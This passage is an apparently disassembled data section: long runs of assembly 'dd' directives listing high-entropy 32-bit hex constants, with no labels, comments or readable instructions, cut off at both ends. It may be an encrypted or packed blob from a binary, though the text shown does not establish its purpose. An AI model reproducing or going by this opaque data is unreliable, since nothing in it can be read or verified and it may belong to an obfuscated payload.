4D3FF10h, 5A3619Eh, 1F4194EAh dd 92764B08h, 3C0013AAh, 0FDDF1138h, 2CFA92A9h, 0E05986D9h dd 10E658C2h, 5926E45Fh, 0BB6BE54Bh, 13A34812h, 0FC4AF642h dd 0B30B8A25h, 89CB2CADh, 2F4D41DBh, 0E9B080F8h, 0F1B1C6A1h dd 0D1F28040h, 0B1511250h, 6502EBAFh, 0C1F13031h, 8C3A0BBCh dd 0EC16EB3Dh, 14B0C735h, 977E9068h, 6882654Dh, 750E6D58h dd 12176C04h, 9E3ADFCCh, 2FF32D10h, 0B241E9C1h, 0C0EB1D81h dd 70E6B51Fh, 0EFC84E8Bh, 13E1A4C7h, 82793792h, 77099657h dd 5D5036E6h, 0A112A9BAh, 0C3FEF079h, 33B8F7E5h, 471D63E7h dd 796F9BE9h, 0E0A445DAh, 55EC4133h, 0C723E160h, 13B6D0E2h dd 57FD89B5h, 859DAD3Fh, 0C4E97F07h, 1E8C5809h, 0FA0CCAD0h dd 0F638E75Dh, 0C20C0DC1h, 2B6F6849h, 0D1C8BF12h, 0F82027E9h dd 4C6FC7FCh, 0FF32994h, 69342247h, 0E96020D7h, 68803001h dd 8E604A90h, 2B405A3Ah, 7C661395h, 0B5775BAh, 0AAE96C87h dd 0AC5C29A6h, 600F2109h, 4D78220h, 0EFC78743h, 56020602h dd 6FE941ECh, 7EA27B84h, 0B2BF51Dh, 97F3FFDh, 12F8F841h dd 0FBA905E9h, 0E78A7031h, 365955C2h, 67315FCBh, 2B01F1F0h dd 0ED128FCEh, 6E7229F6h, 34AE6A16h, 0F34FC1FEh, 48C82466h dd 38BF5703h, 104A152Ch, 4B03C81Ch, 341E8CACh, 0B3A88DF5h dd 151B20A3h, 0D1B34C5Ah, 1004F027h, 0D2E0EE46h, 26FF0F56h dd 0BE3229A9h, 0D86A6A99h, 0F19DF364h, 0B7DCAF1Bh, 83D13358h dd 93D00EA9h, 0AA014F0Ah, 7E47648Bh, 0CE917DF0h, 3943BBDBh dd 2FDB58B9h, 0E0B2F48Dh, 5AF06817h, 66779100h, 134E3DACh dd 0A3607BE9h, 9623AE2h, 551E2C13h, 2DAD93C8h, 8C278A1Fh dd 68D829C1h, 1C3C33B3h, 9848CBDEh, 2AFF327h, 0BAD61FE8h dd 37B1D113h, 0B1CFB0D4h, 16846F0Eh, 79B6F341h, 0E39B2A29h dd 92DFFA67h, 4232B8E1h, 0D0D4EFD2h, 0A9CFECD2h, 2E4F8D8h dd 6845D44Eh, 7C4C740Bh, 0E17E5704h, 0A3804B10h, 942BED3h dd 5CB6E92Dh, 0C034A469h, 78972212h, 89510239h, 9979E9F9h dd 145108D6h, 0ED143A13h, 508752B5h, 0F628DC23h, 0CCA8E7D8h dd 0C5EE515Dh, 7C951C70h, 0B05D5A48h, 9615A67Fh, 6139C23Bh dd 0B880259h, 0E9540237h, 0EC9B57A0h, 7C7C10C2h, 0C98A5812h dd 9CC317Fh, 0C8CF882Eh, 89E5BF8h, 41202C51h, 41CE5D02h dd 0A868FA97h, 0BC44BDEAh, 3BC14D25h, 1035D9E4h, 92F8779Ch dd 6D5A05C5h, 4D03F46Ch, 0B5427B40h, 0C4CFC54h, 88831298h dd 2940E06Ah, 94BB709Dh, 8BF4D2DBh, 0ACEE27Bh, 533A00B8h dd 0BE566C3Dh, 0DF756002h, 60DEF755h, 257DC50Fh, 5F7C0C9h dd 6CA4EBA8h, 723F2FE9h, 0F1732874h, 2422ED32h, 5659070Bh dd 0A48A807Dh, 95063C4Ch, 0B35C8B00h, 501F9C3h, 458F5D3Eh dd 82F2D029h, 75C28907h, 97B0F220h, 214B9379h, 8812164h dd 0CE02759h, 0AEB90151h, 170FD71h, 10712DCFh, 0AB4ACB80h dd 7FF0A50h, 0D7F6F788h, 0A4807D4Bh, 42FEE80h, 0F03A6370h dd 0A65A392Ch, 0F43D87E6h, 0B790E4F2h, 22B4184Ah, 8A620AF2h dd 2A45B31h, 2717FB84h, 3F9BE160h, 2963BD17h, 84194B8h dd 0F7C50278h, 444F9D1h, 9284A24Fh, 9118C82h, 9F80EFFh dd 0E4595438h, 0D2258C68h, 0B84A3340h, 0F39292C8h, 2D12CD3Ah dd 0D7671650h, 1296F8F3h, 5DC64918h, 73756C7Fh, 8974050Ch dd 0D095EAE9h, 0C016C99Dh, 0F1EC66B0h, 0CE88280Fh, 70819459h dd 0EB75F37Bh, 68B9A1BFh, 0DB7B2DEFh, 0A6C554E0h, 60011030h dd 66DECAh, 3BB05053h, 3F2C9434h, 520E0B98h, 6E51C688h dd 59EBA4F5h, 2AEE0585h, 0DA281278h, 0EF9363FDh, 0F2804500h dd 76D420C2h, 37E4305Ah, 96689006h, 0B74F1054h, 0FC33D370h dd 8359DC5Bh, 66F075E3h, 69C0858h, 0BAF50D70h, 0F9E98A22h dd 0B088AFABh, 0D5613CCh, 3A597323h, 425864C0h, 0EA89A0ACh dd 31011E5Bh, 0C5C15D30h, 0B040E905h, 0E04BBEAh, 29158FF9h dd 7B9BDE4h, 475C4B32h, 0A982A9F7h, 65D13591h, 0C6E1F442h dd 685909B4h, 257C1FFBh, 9F2173CFh, 596CCF8Eh, 16FD1796h dd 68EF6137h, 0FDB46B17h, 0E73EF704h, 62EC88E3h, 3077077Eh dd 9B4312F0h, 0A7562D1Ch, 66644E39h, 7E7B36EBh, 0BD607D54h dd 0E33A7702h, 7D3CE91Bh, 0A2A5FEABh, 1B852EBh, 933A8B0Dh dd 6FAEF01h, 0DCDDB249h, 5F8A12C9h, 74B03E71h, 2817B1BFh dd 0E9E47875h, 2E0D2D2Ah, 611675B9h, 0F78CF86Ch, 0FCEE5F39h dd 974F53BDh, 0F736E459h, 0F961C1C5h, 329331ABh, 8C182823h dd 136ED855h, 14DD34Ch dd 2CB3943Ch, 0CFB07EB2h, 0E18B72E9h, 0A9C6DFC2h, 5C21664Eh dd 5302CB62h, 5BF8C376h, 5E89B557h, 44247546h, 6C3E317h dd 0BD100754h, 0B5F4524Ah, 1140AA4Dh, 0E30BADB3h, 17475AE9h dd 3EC92DB8h, 4E5B9A32h, 25838427h, 1590E772h, 5A2514DBh dd 4DFE9656h, 0AB4F2B7Dh, 29C22829h, 88EB4557h, 5A12CAD5h dd 30029CF3h, 629268C3h, 88538398h, 5BDDC8F7h, 859CF19Fh dd 7603B2E9h, 0B1093474h, 84CB28DBh, 0E085EB9Ch, 4234A5B8h dd 0ED47D148h, 5F0698A2h, 5DE9DB24h, 0B14A85FFh, 16A830A2h dd 60987103h, 0B1BC0548h, 0AE602041h, 0C9D132E9h, 3BCCDD71h dd 40BE2D00h, 71E920ACh, 2CECB7B4h, 16A6818h, 951B2FBFh dd 58AD30F3h, 0D06D86Bh, 0EE09D107h, 302E6668h, 80433A04h dd 540CE281h, 0C587525h, 580F7729h, 0CE04E960h, 0FA35857Bh dd 0FAC7D540h, 0F2742F2Dh, 5C9698FBh, 7F832263h, 0AA9D4916h dd 36880F12h, 50CA3B22h, 441CEE26h, 0C140BE46h, 25ADE774h dd 9CA37AE9h, 0A20F49E9h, 0A360D74Bh, 80EA7BDh, 5D5755ECh dd 0C70A0FC2h, 7691C062h, 2F513B37h, 4C6FE504h, 67CE8B8h dd 2CFC1C15h, 0F382099Ah, 97F410C0h, 5DEF8900h, 5E0EE94Fh dd 60E7DB75h, 0C319ABF0h, 0E3902Ch, 55CB5CBEh, 0F7F98749h dd 8108D760h, 3E2630E1h, 15DC65E2h, 1F3B1277h, 0E8A30B6Eh dd 0BC338E59h, 1BEDE93Fh, 0D23BB720h, 7912EF0Dh, 0BC6E3D8Dh dd 0D8BAA4B6h, 4841C869h, 0F9CB406h, 9FDAA7D4h, 0BB1D9DA5h dd 0A93A8EC9h, 0A3366466h, 43CE2F1h, 10A05E1h, 0B26B5B54h dd 1C680C58h, 41F1233Ch, 0FDB16EA3h, 558B826Eh, 10A3B68h dd 0E9DA90CEh, 4D9BDF0Dh, 0F3295EB0h, 0B0538494h, 53283EBh dd 0DFE91711h, 753E9C38h, 72A63A4Bh, 0C5ACE912h, 673CEA2Dh dd 697A0BB9h, 0EB871D03h, 78CCA284h, 3D32D380h, 0D2A32DC1h dd 670348B0h, 779D02B7h, 0DB58AA17h, 0A95CC900h, 1E8D170h dd 7A60352Dh, 3CFBE932h, 0E10500DCh, 500EF15Dh, 96B55Ah dd 6A67A280h, 4046EA95h, 98635622h, 6CF307E4h, 0C03C423Fh dd 0DC37B2E3h, 0AFE91C3Dh, 0EBB268F7h, 1F6EB057h, 8B316A38h dd 0D34843E4h, 9013F5BDh, 77FA545Dh, 0C3C5849Bh, 0D176FC9Ch dd 0A56BAAEEh, 0B60F103Bh, 0E978A85Dh, 91099F9Fh, 178814F7h dd 35225868h, 0CB35BE25h, 0FBD891FEh, 0E213AF47h, 52DADC16h dd 665DF050h, 5D76748Eh, 5481505Ah, 55F5388Ch, 202AE831h dd 592F2B57h, 3AD80248h, 0EAB2CBCBh, 0BE4A8F5Ch, 0C1FDD464h dd 4239A5A5h, 200CE31Dh, 0C74B0481h, 0D2D0F754h, 88F6B7C7h dd 241AFF6Bh, 1EC0FDC0h, 264804Ch, 17AD0C2h, 796AD76Ah dd 21C080Dh, 5B7F5F14h, 90D74928h, 80C7731Eh, 82A0475Bh dd 0FD82BED2h, 0ED0108CEh, 26F75D9Ch, 6E7C96E9h, 0F47C5A27h dd 0DC65993Ch, 40DD6847h, 0F0A2302Ah, 7C3E0E4Ch, 5E1B9246h dd 17841CD0h, 0D61E5861h, 0BA3ECD34h, 685DE580h, 0FCD3BA9Fh dd 83A46027h, 91610FE5h, 0FA4E147Bh, 0BD669A01h, 31D053ACh dd 0F1ECA3EEh, 0FE760B97h, 0C034A00Ch, 41FCC7D0h, 0C52EA31h dd 50E80F10h, 0C4665FE9h, 0C6DCF910h, 498C6E5h, 0F6F88850h dd 0DD2FB1D0h, 7893FDF7h, 0B9B74F35h, 0C04F8B4Ch, 4698BA41h dd 0C5646F62h, 0E066795Ch, 0E715E956h, 0B5C5EE97h, 0A2647471h dd 0C2DE40ABh, 989E9643h, 178DCEC3h, 0A1BB94ECh, 0A208046Eh dd 0DDFE937Fh, 0D8163C23h, 557E68DAh, 0A3A5743h, 89875EA0h dd 0BAD5F501h, 9D077BDh, 20C04E97h, 66038CBDh, 2E1C05Ah dd 9B2BDB80h, 21B4D0C1h, 59CC3828h, 71CEE22Eh, 0BE9B5470h dd 0CAB1F604h, 0FB6D5B0Dh, 88D081D2h, 1ABD97A6h, 5F03422Bh dd 4E31501Eh, 0C5F10B0Ah, 0F334B82Bh, 0DCEEFDE2h, 5F4BFD44h dd 83B1DDB8h, 8968FCC6h, 80092759h, 2010A5E7h, 28CE5A31h dd 0F05B211Fh, 6115F74Bh, 0C420BDE1h, 28615CB1h, 0FB9F51Ah dd 90D795Fh, 0ADA94FE9h, 9D7D6C5Fh, 766975F1h, 50E94105h dd 779D6FECh, 0D3E5B6ECh, 0B0F60016h, 406866FAh, 4D764348h dd 46BA0424h, 82EA7AB7h, 5474DF4Dh, 57F30153h, 3740DA68h dd 2FECFC02h, 0B809FDBBh, 40F37673h, 1E6EBAC1h, 0E50C8297h dd 0A5D66A0Eh, 0BF40233Bh, 0E280B9B2h, 6106CF48h, 0EACCDCA5h dd 604E008Ch, 6DAA578h, 531C5C91h, 52A6D389h, 0E00D5A01h dd 6ABE4Eh, 542504C2h, 582F325Ch, 58427E55h, 7D2D758Bh dd 0E2CFA1Fh, 27C73EC8h, 43ADE7C2h, 7A7545E2h, 22C2132Bh dd 58A10486h, 0B42CEEA8h, 63296262h, 0C55D5AD5h, 0EF8B8B0Ah dd 0B018B2D5h, 0FB5FE9B3h, 0C3800A86h, 530B06B2h, 585EB551h dd 6FC50149h, 0F7E9EB28h, 2FE93AE8h, 0E160BAF5h, 0A88AE951h dd 0BFA05AAh, 5314E616h, 9875C04h, 7783575Dh, 1E10710h dd 515D70D0h, 0E9C17F82h, 0BC486005h, 2A7B401Fh, 0D4D54CC9h dd 1C5F5A09h, 52159CFEh, 5CD76C57h, 0E9B1E1F0h, 888B5255h dd 2C57405Fh, 3FFFEA4h, 4334C0FEh, 0E97C780h, 0E254E962h dd 1646C45Fh, 612BDD68h, 0C509AE16h, 0D8786137h, 7712061Dh dd 21F8D3E9h, 9832E94Bh, 251279C4h, 0C6F21F2Bh, 0F3E90880h dd 5A49029Fh, 259FEBFFh, 0F344567Bh, 97975A95h, 75D2D45Ch dd 8C642AD1h, 0C34D40FEh, 45944B68h, 5455ABFh, 0D64766EBh dd 0C1B4BB2Dh, 1E4E0988h, 86092158h, 0A41615F4h, 192D65B0h dd 0EA5A5F72h, 0BA00F2B3h, 4C99190Bh, 16270B22h, 44A5B053h dd 0C35320B8h, 0C7F031B2h, 0F4250EB9h, 283A31EAh, 2B0DF5C5h dd 3FA85614h, 1B369652h, 5F91E5F4h, 0BCAF266h, 5CF6EE85h dd 22DDEB72h, 147849h, 161395BDh, 0FAC58150h, 7EF80D17h dd 0BE4F05BFh, 254EFDD5h, 2DF0F42Ch, 0F74BBF73h, 0B716E9B2h dd 0CDB973F8h, 1AA45097h, 11427B7h, 76123855h, 0BD5FA4F1h dd 7FC30A46h, 0BC16BE9h, 1B574BC7h, 0D1F38483h, 0E4FBAB28h dd 425C1A00h, 0C1895125h, 0F1D95FE9h, 0B3AC3B70h, 849F42E4h dd 67DDA5BFh, 16F89EDh, 68FD387Fh, 0AE28D237h, 0F85BFD8Eh dd 2EE9C3EEh, 0B8160049h, 4E4842AAh, 22016855h, 0E963D920h dd 0C6ADD8D7h, 0DAF79DE0h, 0D24C4A73h, 0B9321325h, 831A65AAh dd 0AF034E12h, 7133ADF3h, 6B0C0455h, 82395F0Ah, 88800863h dd 6D665D80h, 840B8B98h, 0D8EAD9C9h, 16059E83h, 0FC8AAF05h dd 4A46CA60h, 3AC16799h, 6B535814h, 416FD775h, 0BB40CD0Fh dd 47E5402Eh, 3C499817h, 898F2726h, 6D6E632h, 0E25C0EBEh dd 0A2B55E3Eh, 6A14E9DFh, 71D36ABCh, 331938Bh, 0C2AEE9D7h dd 0DD282224h, 0B498B635h, 886D2EB4h, 64554986h, 89EB1CDCh dd 0C10BD331h, 2836087Dh, 0FE5A8204h, 1C28DF19h, 0C561608h dd 6842E5F5h, 0F27E9029h, 0E70CF7A4h, 0FC34547h, 4CEC534Eh dd 2AB1869h, 7F986E77h, 0DEA2A54h, 41FA0FFFh, 64440BC7h dd 0C19DBAB3h, 14AAD6Eh, 0E97EA767h, 773B9969h, 0B1D5B2C6h dd 0B0195A07h, 60535231h, 0DEF1081h, 0FF7F13DDh, 8B66459Dh dd 876B568h, 15CD098Ch, 7710E11Ch, 9280010Dh, 9518BF18h dd 5712305Eh, 158C5134h, 7E2B0B68h, 68603B15h, 0BE817940h dd 0FFDE51E8h, 98018820h, 908E03Bh, 13E94B50h, 7DC015E2h dd 2D7C35DEh, 8044E1B5h, 0C87E54E5h, 0C9090D25h, 0E157B32Ah dd 0BED4CB80h, 5E6D980Ah, 0A41F67B5h, 0AA99949Fh, 0F89649F3h dd 1DA5842Bh, 0B9C404A9h, 0F0DB223Ch, 0FE525AF3h, 68EAED32h dd 26D6760h, 0D50144C4h dd 305699E9h, 3215BB01h, 30647A5Bh, 0ACB90151h, 0E9D2D990h dd 72AE3546h, 2F3ED487h, 482D3A42h, 530268B0h, 4978C672h dd 0BE804FE2h, 5A096708h, 1CC516B7h, 67C7B2D4h, 5008FF8h dd 26AA1CEFh, 0A12DF029h, 0F06B5E07h, 995FABBEh, 0D3047A77h dd 8003258Bh, 0DE28E3C6h, 0FBADEEABh, 95989CC4h, 0A60F2EE9h dd 35E0414Dh, 3A407166h, 4F8B9DC5h, 4FC48A4Bh, 0F7C051E0h dd 0D5F97FC2h, 9B3DE9E1h, 94919D6Fh, 659F6885h, 0C7FCE727h dd 64D3C04Bh, 1876DF13h, 3644CF07h, 0E7C01DC9h, 9CE5F96h dd 5A68537Dh, 0CBA30268h, 61A81891h, 0EE894A60h, 7BF05034h dd 587A2038h, 92EE5C7Ch, 3F4856B0h, 2B830721h, 0CDC04A39h dd 764F2336h, 27E50654h, 0D07EC615h, 0F8C10144h, 0F312DC05h dd 0C065F2Ch, 0DEDFBBEFh, 4B6B075Ah, 6E296F2Dh, 455834E9h dd 700F595Ch, 0BA0115B9h, 87F3358h, 0F25CE46Fh, 554609AAh dd 958FBBEh, 0AA1C4A4Fh, 0A4F1E452h, 0D6FBA26Eh, 183B66h dd 43211415h, 323EEF81h, 8549DA26h, 80DCCC14h, 0BA3AF74Bh dd 6A80B721h, 3313C7F6h, 3FE96D08h, 0C6B70277h, 1C5DFC30h dd 0C1C30116h, 0CE9E328h, 31148CD8h, 0BEE4CE8h, 580519BFh dd 456D3603h, 3950688Ah, 0E90843FDh, 2DF6B0FDh, 0E9C183B1h dd 0B1B05CFCh, 9A052BD8h, 0F4123E7Ch, 0CFC8010Ch, 3B62418Ch dd 0EE077BE3h, 2C602F0Ah, 381B6B0Ch, 9585483Fh, 16680802h dd 98D54618h, 0A93D2432h, 0A69152BFh, 66856A35h, 4AEA309Ch dd 5409F4D9h, 1AE31A5Eh, 0E130C594h, 0B17013F1h, 28007F4Ch dd 5E170705h, 55D1DD68h, 901B8C0h, 0ED3F20FDh, 8B7FB71Ch dd 553A0BADh, 62C67A09h, 38802B6h, 5B54626Eh, 58517F40h dd 0E9607B09h, 6F2F7E70h, 0E7F54406h, 5C02C02Fh, 0F847D0EFh dd 0E3E7A597h, 0AE4B7CE8h, 40A0D938h, 0D4642CBDh, 0E016E772h dd 5D5BAF16h, 0D47FA3CDh, 0FFC7C57Bh, 49AA8752h, 2955EF0Ch dd 204ADA96h, 68159D26h, 37477BDh, 0E38044B3h, 0F9F39891h dd 0E9A4122Ch, 4B5FAC11h, 0A26B3ACDh, 17965060h, 10E15413h dd 286043E8h, 80A6356h, 4D4947B8h, 0D5E95E07h, 120516A5h dd 5E6AA016h, 0C4626EECh, 464B6CA3h, 0FA882D2Fh, 0DCAE015Fh dd 986E5A5Bh, 4596E332h, 31AAAD16h, 74D7DCB1h, 795FC788h dd 41C108CCh, 68823EA4h, 73690F16h, 0CA886260h, 10697CE5h dd 3150D047h, 0A94D5A8Dh, 84518A2Fh, 0B5457502h, 39CC6002h dd 9D8D727Eh, 0D2CFDB68h, 630C2B76h, 40B7ECE9h, 8DDC955Dh dd 5A0C5BA6h, 0FDEE5936h, 6B69296Eh, 560155F7h, 0E97D9B3Bh dd 29B73CB8h, 7B07E566h, 5B87D888h, 0ABF058F5h, 125670B8h dd 0ED214E0Ah, 1312308Eh, 950EF5E9h, 0E743AAD1h, 0F47D4E8Ch dd 0F78045EDh, 988B0DDh, 60990FBDh, 0E31EAF52h, 0B724C244h dd 964F0600h, 98F52910h, 5A78AB56h, 0A56BFDC1h, 2E4A0690h dd 0E8114E7Fh, 0BE151FAh, 6F806088h, 2D5F7D2Ah, 2660F531h dd 5F826D8Dh, 0C9F8C408h, 2FCC0089h, 52E9F10Ch, 0EF60E64h dd 0A7E780D7h, 2856EF60h, 0E8E05BFDh, 3E87F39Dh, 0B85A6849h dd 89965D03h, 542FDE5Ah, 76B25A4Eh, 2AE6AC98h, 0FCE9A994h dd 0ECAA0841h, 46CD290Ah, 9ED45F62h, 0C60195AAh, 6A0CFF56h dd 0AA9616A9h, 8AFC4C4h, 0E60602CEh, 0F20A62F5h, 0C67740F2h dd 0DAAC6A3Fh, 686EF1F4h, 0BB4CD06h, 0D1B03F33h, 0C1161DB7h dd 76800941h, 2C61B6EDh, 125630C4h, 0C4AAAC99h, 64FBADE9h dd 21F3AC01h, 0E9DD0202h, 995DB368h, 7DF36DB8h, 65043AB9h dd 0AA3495Ah, 0D48389D7h, 0B8AD441Ch, 4AB0043Dh, 0F0A8C628h dd 8672A34Eh, 5077B155h, 583A3611h, 0FCC19DC3h, 3B2EE563h dd 5A07E910h, 0DA1950FEh, 9D24A805h, 4377C023h, 0E0B5477Ah dd 80CE9A2Fh, 5C7204ACh, 0E72CD91Dh, 3EA84F96h, 0B3FD129Fh dd 54560943h, 4C84795Eh, 1513C168h, 35CD2D1Eh, 0AD069B28h dd 0A617FD56h, 3F07F351h, 530703E6h, 220640BBh, 5E24B1Fh dd 594A4878h, 142541FAh, 3F706F76h, 45B5C5B8h, 0AEC5DE4Ah dd 9BF18629h, 58AD8C6Bh, 584359BDh, 0CE27685Ch, 7747B262h dd 716BF4F3h, 9A899506h, 36336802h, 57400272h, 30B5CD61h dd 0BF2528A4h, 6D09B0C5h, 61E0F6C1h, 30F78811h, 0F14EAFFAh dd 0FC5F938Ah, 0B9CDC4AFh, 2144BE13h, 0FD1F2E2h, 97715FF8h dd 1B2845E9h, 822C5809h, 4638298Ch, 0E4C729CEh, 0B3D84FFEh dd 1F1C625Eh, 507459CEh, 74C99AC2h, 0F5AC62FEh, 661BB7E5h dd 0BEA9F981h, 0AB78E999h, 72F7C4Dh, 66966329h, 18DDC78Fh dd 60C6750Bh, 0FA37C4Ah, 5E6EB34Bh, 13DF1DE4h, 84270F2Fh dd 0EF071326h, 0C683A581h, 59AA08Fh, 8402E833h, 0C1047D95h dd 6101FE8h, 2D72214Ch, 8EF846D6h, 8395E704h, 0CA88F321h dd 0ED7644CDh, 1E106804h, 4BA95B28h, 0E74FF7D0h, 19E11002h dd 0AB5A845Ah, 14135D9Eh, 10B5F2E2h, 2D0B4730h, 0FC89174Fh dd 1B88E85Ch, 185D2D84h, 4A3968AAh, 603EE36Dh, 4C0ADBA0h dd 13DD226h, 34F871B2h, 71F2E60Ch, 6BE0489Dh, 0F2E7C47Fh dd 60C5AAC7h, 2D2973F8h, 26AF8BCFh, 5CE7B45Eh, 0B8BFBAC6h dd 0D6294827h, 0F9FEAE17h, 632AD939h, 0BBBBE00h, 35C9A2Ch dd 0C026CA0Bh, 1608EE24h, 4AF0A0E9h, 12D6D03Eh, 3CBD0AEh dd 7D4FFD4Dh, 7E8452C4h, 0DD62C3EBh, 37E2BF4Bh, 0C2802C7Bh dd 96DDAD6Eh, 0A3681241h, 0A3373435h, 23AD5ACDh, 4E21C740h dd 5B3EDCE6h, 6B03FD90h, 0E93F9774h, 81A53AE3h, 0A243D484h dd 1F23C37Ah, 0E70D64F9h, 2F5D0E01h, 0D989E730h, 877CD16Bh dd 0AC85C39Ch, 4FE9F09Bh, 1F459FA1h, 79563A13h, 0C280FABh dd 5530052Eh, 60D86ADEh, 8C545B4Eh, 0E98BCE53h, 0A93107Fh dd 0A06EAC54h, 0C00886E9h, 327FF37Dh, 94A0172Fh, 93723474h dd 5FFB2918h, 0E6EADB1Eh, 0BC6817FCh, 0D3AB604Fh, 5B0A723Dh dd 76A8B3E9h, 2D8565CFh, 0A03FEFC9h, 452CD93Eh, 460AA9D4h dd 0C3686A91h, 7E4677CBh, 62B8E925h, 1C27DE15h, 93E7803h dd 0BEFD7012h, 27A508C8h, 0B35F0106h, 0C6C1E1FAh, 3C640867h dd 0CB0105E2h, 3386E201h, 57F565FAh, 0BA00A368h, 0EF55C08h dd 3491D789h, 0E8F7C16Eh, 956CF27Ch, 3034F116h, 0EC584963h dd 3D494A7Ch, 0B9017899h, 40D13162h, 69F4BE56h, 722E9FA9h dd 0C818BDE4h, 74FEEBB8h, 5B11EE60h, 4D30DC2Ch, 0C08C48C6h dd 0B6526039h, 68E1C4BFh, 0F8A11312h, 55C214EDh, 6E5813BEh dd 530359D0h, 0F4759087h, 0B4E897BDh, 27603BBEh, 672EE7EEh dd 0BB034FC9h, 39057141h, 0F46A025Bh, 9A75E4E4h, 7B892025h dd 5E4A305Eh, 42547273h, 5F1208E9h, 34AF7429h, 0D6111130h dd 8215E75Ah, 0E6E48AE9h, 5BD5F009h, 3F99D9E0h, 6D831A04h dd 49A89DBEh, 7849FD85h, 76DC5A9Bh, 76E91759h, 7B83A747h dd 5E868D2Dh, 0ADD64BBDh, 65D065C2h, 772824h, 1DA15B22h dd 8C7F4035h, 6FE91709h, 8B97FEF8h, 97715901h, 0F616183Fh dd 392FBEDAh, 0D4CAF13h, 283CA407h, 76CE626Ah, 20149841h dd 8B980219h, 684DB412h, 0B80CC206h, 0E135003Eh, 0C176BE33h dd 0C3A005E0h, 3C00172Eh, 1EEF8167h, 1B11F915h, 810290E9h dd 3EE419B1h, 4931DB3h, 1238254Fh, 26D04845h, 13CCA1C8h dd 0B1176F2Ah, 384DF98Ch, 479376F0h, 711A1789h, 6756828Eh dd 5E0201Dh, 5A0958FFh, 2D1F71Ah, 6CDA3350h, 4CDC95D6h dd 0D04BA53Eh, 6BB0952Ah dd 0EF9DF631h, 0A26425ECh, 0D4B4C325h, 81DDEB8Ah, 53241CEh dd 97648421h, 0B54D16B0h, 28A208EDh, 0C4F2B28h, 22E4B38Dh dd 2E75001Bh, 6D490D58h, 53B81311h, 0C0BF78B2h, 0C425B956h dd 0F139690Bh, 100DF6A6h, 82E80430h, 0CECBA002h, 0F81FAE91h dd 0E295BD4Ah, 612057BFh, 71AF74A1h, 0CFB22AFCh, 0F6AEB107h dd 0E0F251D1h, 0EF34DC68h, 0D4C7EC65h, 0F727C193h, 41B640D9h dd 3207BD55h, 313C34DFh, 0E47804EBh, 870EBB17h, 0C35D7D28h dd 59DB0671h, 11B7A66Eh, 696265F0h, 490A48ABh, 3C0D5615h dd 2E9D8252h, 485A479Eh, 4CC0099Fh, 0AC0F8426h, 12714Ah dd 0D0C8CF77h, 0EA25E962h, 0AD4D18D2h, 0BD29A829h, 0B60B1794h dd 806DB908h, 792B47C7h, 0E9F51331h, 2BD1A16Dh, 191A88F7h dd 0EC7F5CB4h, 8E6813CBh, 0F2E9A473h, 0F563869Ch, 26A7F1BCh dd 16334830h, 859B75DDh, 7620EFDh, 0AE3CFC24h, 0AE048AF5h dd 14E90B03h, 437207F2h, 29C1E3D1h, 0A74812A0h, 0AEB89D4Ah dd 0D95C5873h, 0CEC225C7h, 0FCE3A0EBh, 238D0106h, 659DBB53h dd 0CD192063h, 96A5C95Ah, 0C7DF1D3Fh, 7D974EA1h, 0F2DFC10h dd 38C74C90h, 0E267D8Bh, 69470C5Ch, 0D00C0544h, 14A9491Bh dd 0FA562582h, 0E5D56F8Bh, 84E944A3h, 5E8EAA9Dh, 0E9613C4Eh dd 25E57F25h, 0B1BB02DDh, 4746AFF2h, 0E0BF01F8h, 3EE52585h dd 0A89758ADh, 9F42242Ch, 285F1918h, 25EFB2B3h, 0E6565DEFh dd 1F02C920h, 315E7E4Ah, 0BE305DEEh, 7817D5F6h, 0C7C1E2DFh dd 1C12EE9h, 5DB9C87Ah, 9D9855E2h, 0BDC91934h, 0C1C3B184h dd 0E6AB03F3h, 7B9E6855h, 0EA348910h, 1D0F3450h, 832C13DAh dd 351F06C1h, 5CE9C09Fh, 74606F32h, 0A670950Ch, 0F929046Eh dd 0E87EC468h, 0ADEBC8F0h, 0C1E0A70h, 59D7E32Ch, 81438F41h dd 4FF0CDCBh, 2CDC9525h, 51B74082h, 0A9035DB3h, 9002C783h dd 0CA2623EFh, 0D9825F22h, 0D09A0F3h, 0B6811EF8h, 701962BAh dd 2EDE407Ah, 440BA69Ah, 0D75AD121h, 0E38738C9h, 850D2B3h dd 700AD6Ah, 5E2D4352h, 250861F8h, 2E62F4E9h, 13EC975Dh dd 2561AAEEh, 0A73FD37Dh, 1F118408h, 6CD4E297h, 0ADEA31EEh dd 11C6524Ah, 0FF0BEC7Eh, 0B2490632h, 0A5544C54h, 3F3FC971h dd 0BA7169A9h, 52E25E6Bh, 1842E1DEh, 0EC15565h, 4FA330E7h dd 56935D91h, 1657BB0h, 33BE460Dh, 70D31DB2h, 580431Dh dd 0B611025Dh, 2DD00106h, 38FB078Ah, 19DA1B8Ah, 64C204CAh dd 424A8D2h, 0A106D4Bh, 0C1462D80h, 0CE7258F7h, 0F29D0620h dd 0BA280FE8h, 0CEAB98EBh, 5C4A14D0h, 1310B5CBh, 70503B78h dd 0E1D682AAh, 7DC47D52h, 38F7FB20h, 82930EBDh, 0C2D6E812h dd 5642BAE9h, 93A74257h, 7D950909h, 992DC8A0h, 4413374Bh dd 4E11C801h, 0E9D80508h, 0D58A601Ch, 3144F14Fh, 0FBEF5406h dd 0EA64A072h, 8F82F769h, 9A0C36E6h, 0F6DE142Ah, 5F20CECEh dd 6E874158h, 26D74836h, 0CD61672h, 6C0C8E7Dh, 0DD885116h dd 0B80C82FEh, 26B91BC8h, 40090D27h, 780CC12Ah, 50B9C5Ch dd 0BB4D2A46h, 81ACF94h, 5A14081Ch, 6A1BE26Bh, 51807ED7h dd 0E582FA58h, 71D786E9h, 5A83A0C9h, 3112819Ah, 0C7376AEFh dd 78ACE8D4h, 0E8E02925h, 557E0939h, 0ED748198h, 1C4BA530h dd 6F01E95Dh, 8707FF3Eh, 525EBF28h, 0EF539199h, 2EF79FDAh dd 44D02DCFh, 10D0EE3Dh, 16E11E55h, 0BAD32971h, 45A0414h dd 67BD476Ch, 0D6E94E80h, 240A7423h, 0CF2CDA6Ah, 6A6972ADh dd 86202629h, 0BC0D0964h, 0EF55561Dh, 0DAF32773h, 0F492A2B5h dd 84B17D59h, 59FD621Bh, 2D575A62h, 35F961BAh, 3CC37291h dd 4AE4920Bh, 0FC8EA701h, 0AA4093E5h, 5B187EFDh, 599E503h dd 58D0E808h, 6A97138Fh, 60F2C900h, 2FE90EC5h, 0E01CA929h dd 0E56BB580h, 9E1FD99Fh, 33A0BC52h, 0F19D0CE6h, 85CA9794h dd 2AF8F1D6h, 0B14A37E3h, 3BAC6017h, 5B534E05h, 6281FE87h dd 0B6E02E9h, 4E5C5F9Fh, 9C6D3702h, 693CC21Ch, 83705061h dd 6262B64Dh, 0E34088E5h, 26B4BEF8h, 